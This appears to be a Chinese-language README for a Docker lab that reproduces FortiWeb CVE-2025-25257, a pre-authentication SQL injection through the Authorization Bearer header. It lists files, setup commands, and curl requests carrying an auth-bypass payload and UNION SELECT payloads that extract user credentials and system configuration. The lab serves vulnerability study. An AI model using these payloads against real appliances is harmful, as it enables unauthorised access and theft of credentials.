实验架构(该环境模拟 FortiWeb 的易受攻击组件)
易受攻击的端点:/api/system/fabric/config
注入向量:HTTP 头 Authorization: Bearer
机制:直接 SQL 拼接(Python f-string)
认证:无(完全绕过)
数据库:SQLite(用于演示)
cve-2025-25257
├── Dockerfile
├── docker-compose.yml
├── requirements.txt
├── app.py
├── init_db.py
├── payload.txt
└── README.md
Dockerfile:刻意设计的存在漏洞的 HTTP 服务 / 暴露无需认证即可利用的 API
docker-compose.yml:编排可复现的易受攻击服务 / 通过 http 暴露可攻击的 API / 隔离实验环境
requirements.txt:确保稳定且可复现的环境
app.py:实现预认证端点 / 通过 Authorization 接受用户输入 / 将该输入拼接到 SQL 查询中 / 实现认证绕过与数据提取
init_db.py :准备一组可利用的数据集 / 可清晰演示认证绕过与数据外泄
payload.txt 提供最小、可控且可观察的代码执行证明
docker-compose build
docker-compose up -d
docker-compose ps
docker-compose logs -f
curl http://localhost:8080/api/system/status
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer valid_token_001"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' OR '1'='1"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, username, password, role, email, NULL FROM users--"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, key, value, description, '2025-01-01',NULL FROM system_config--"
docker-compose down
docker-compose down -v
docker rmi cve-2025-25257-lab-fortiweb-vulnerable:latest